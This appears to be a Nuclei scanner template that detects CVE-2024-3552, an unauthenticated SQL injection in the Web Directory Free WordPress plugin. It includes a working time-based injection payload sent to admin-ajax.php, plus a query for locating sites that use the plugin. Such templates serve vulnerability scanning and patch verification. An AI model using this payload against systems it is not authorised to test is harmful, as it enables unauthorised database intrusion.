id: CVE-2024-3552 info: name: Web Directory Free < 1.7.0 - SQL Injection author: s4e-io severity: critical description: | The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based. impact: | Unauthenticated attackers can execute time-based SQL injection attacks via the locations_ids parameter. remediation: | Update Web Directory Free to version 1.7.0 or later. reference: - https://vulners.com/wpvulndb/CVE-2024-3552 - https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/ classification: epss-score: 0.6706 epss-percentile: 0.99245 cpe: cpe:2.3:a:salephpscripts:web_directory_free:*:*:*:*:wordpress:*:*:* metadata: verified: true max-request: 1 vendor: salephpscripts product: web_directory_free publicwww-query: "/wp-content/plugins/web-directory-free" tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free,vuln flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - "/wp-content/plugins/web-directory-free" internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x) matchers: - type: dsl dsl: - "duration>=6" - "status_code == 200" - regex('^\[\]$', body) condition: and # digest: 490a004630440220070731a37a3b86c9cb0f84d3d88055c7f27af99e4a721c47007f9813ff36d2e002203a82499b4c1c81ce4cf28489477022176e08aafec988702c9b28afba30a486f9:922c64590222798bb761d5b6d8e72950